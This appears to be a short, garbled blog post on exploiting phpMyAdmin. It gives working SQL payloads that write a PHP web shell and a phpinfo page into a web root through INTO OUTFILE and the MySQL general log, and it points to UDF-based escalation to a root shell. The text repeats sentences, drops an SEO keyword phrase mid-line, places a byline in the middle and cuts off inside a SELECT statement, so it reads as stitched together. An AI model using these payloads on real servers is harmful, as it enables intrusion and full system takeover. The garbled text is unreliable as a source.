Phpmyadmin: Hacktricks

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"; Boom. You now have a web shell.

For a sysadmin, it’s a tool. For a pentester, it is often the endgame . phpmyadmin hacktricks

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/hack.php'; SELECT '<?php phpinfo(); ?>'; Now, visiting http://target.com/hack.php executes your code. This is loud but extremely effective. You have root MySQL access, but you are a low-privilege OS user. How do we escalate? SELECT "&lt;

Published by: Security Tinkerer Reading time: 6 minutes For a pentester, it is often the endgame

We compile a MySQL extension (UDF) that runs OS commands.

The next time you see that blue login screen, remember: it’s not just a database manager. It is often one SQL query away from a root shell. Want more "Hacktricks"? Check out the HackTricks GitHub repo for the ultimate cheat sheets.